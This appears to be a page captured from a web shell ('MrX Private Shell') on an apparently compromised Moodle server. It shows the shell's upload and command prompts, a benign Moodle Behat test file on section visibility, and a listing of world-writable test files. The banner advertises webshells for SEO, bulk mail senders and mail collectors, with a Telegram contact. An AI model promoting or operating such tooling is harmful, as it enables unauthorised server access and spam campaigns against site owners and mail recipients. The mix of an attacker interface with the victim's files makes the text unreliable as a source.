__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_courseformat
Feature: Verify section visibility interface
  In order to edit the course sections visibility
  As a teacher
  I need to be able to see the updated visibility information

  Background:
    Given the following "course" exists:
      | fullname         | Course 1 |
      | shortname        | C1       |
      | category         | 0        |
      | numsections      | 3        |
      | initsections     | 1        |
    And the following "activities" exist:
      | activity | name              | intro                       | course | idnumber | section |
      | assign   | Activity sample 1 | Test assignment description | C1     | sample1  | 1       |
    And the following "users" exist:
      | username | firstname | lastname | email                |
      | teacher1 | Teacher   | 1        | teacher1@example.com |
      | student1 | Student   | 1        | student1@example.com |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
    Given I am on the "C1" "Course" page logged in as "teacher1"
    And I turn editing mode on

  @javascript
  Scenario: Activities available but not shown on course page only apply to hidden sections.
    Given I hide section "1"
    And I open "Activity sample 1" actions menu
    And I choose "Availability > Make available but don't show on course page" in the open action menu
    And I should see "Available but not shown on course page" in the "Activity sample 1" "activity"
    When I show section "1"
    Then I should not see "Available but not shown on course page" in the "Activity sample 1" "activity"

  @javascript
  Scenario: Hide a section also hides the activities.
    When I hide section "1"
    Then I should see "Hidden from students" in the "Section 1" "section"
    And I should see "Hidden from students" in the "Activity sample 1" "activity"
    And I show section "1"
    And I should not see "Hidden from students" in the "Section 1" "section"
    And I should not see "Hidden from students" in the "Activity sample 1" "activity"

  @javascript
  Scenario: Hidden activities in hidden sections stay hidden when the section is shown.
    Given I open "Activity sample 1" actions menu
    And I choose "Hide" in the open action menu
    And I should see "Hidden from students" in the "Activity sample 1" "activity"
    And I hide section "1"
    And I should see "Hidden from students" in the "Activity sample 1" "activity"
    When I show section "1"
    Then I should see "Hidden from students" in the "Activity sample 1" "activity"

  @javascript
  Scenario: Hidden sections can be shown and hidden using the drop down menu in the activity card.
    Given I hide section "1"
    When I click on "Hidden from students" "button" in the "Section 1" "section"
    And I should see "Show on course page" in the "Section 1" "section"
    And I should see "Hide on course page" in the "Section 1" "section"
    And I click on "Show on course page" "link" in the "Section 1" "section"
    Then I should not see "Hidden from students" in the "Section 1" "section"

  @javascript
  Scenario: Hidden sections are shown as "not available" to student when
  the course is set to show hidden sections "not available". They are shown
  as "hidden from students" to editing teachers.
    Given the following "courses" exist:
      | fullname | shortname | format | hiddensections | numsections | initsections |
      | Course 2 | C2        | topics | 0              | 3           | 1            |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | student1 | C2     | student        |
      | teacher1 | C2     | editingteacher |
    And I am on the "C2" "Course" page logged in as "admin"
    And I turn editing mode on
    And I hide section "1"
    And I log out
    When I am on the "C2" "Course" page logged in as "student1"
    Then I should see "Not available" in the "Section 1" "section"
    And I log out
    And I am on the "C2" "Course" page logged in as "teacher1"
    And I should see "Hidden from students" in the "Section 1" "section"

  @javascript
  Scenario: The visibility badge can show a hidden section in a the section page
    Given I hide section "1"
    When I am on the "C1 > Section 1" "course > section" page
    And I click on "Hidden from students" "button" in the "[data-region='sectionbadges']" "css_element"
    And I should see "Show on course page" in the "[data-region='sectionbadges']" "css_element"
    And I should see "Hide on course page" in the "[data-region='sectionbadges']" "css_element"
    And I click on "Show on course page" "link" in the "[data-region='sectionbadges']" "css_element"
    Then I should not see "Hidden from students" in the "[data-region='sectionbadges']" "css_element"
    And I open the action menu in "page-header" "region"
    And I choose "Hide" in the open action menu
    And I should see "Hidden from students" in the "[data-region='sectionbadges']" "css_element"

  @javascript
  Scenario: The section action menu should be updated properly when a section is hidden/shown
    Given I open section "1" edit menu
    When I choose "Hide" in the open action menu
    Then I should see "Hidden from students" in the "Section 1" "section"
    And I open section "1" edit menu
    And I should see "Show" in the "Section 1" "section"
    And I press the escape key
    # Confirm the Section 2 menu hasn't been updated.
    And I open section "2" edit menu
    And I should see "Hide" in the "Section 2" "section"

Filemanager

Name Type Size Permission Actions
activity_groupmode.feature File 7.3 KB 0777
activity_icon_tooltip.feature File 2.6 KB 0777
activity_visibility.feature File 4.46 KB 0777
behat_courseformat.php File 2.4 KB 0777
bulk_activity_actions.feature File 10.96 KB 0777
bulk_section_actions.feature File 13.41 KB 0777
bulk_select.feature File 13.2 KB 0777
bulk_show_one_section_actions.feature File 5.8 KB 0777
content_preferences.feature File 4.33 KB 0777
course_courseindex.feature File 22.65 KB 0777
course_manageactivities.feature File 3.57 KB 0777
courseindex_completion.feature File 10.38 KB 0777
courseindex_keyboardnav.feature File 5.02 KB 0777
courseindex_language.feature File 1.46 KB 0777
coursepage_completion.feature File 10.77 KB 0777
duplicate_section.feature File 2.01 KB 0777
movecm_keyboard.feature File 4.58 KB 0777
movesection_keyboard.feature File 2.45 KB 0777
section_page.feature File 6.58 KB 0777
section_visibility.feature File 5.47 KB 0777
Filemanager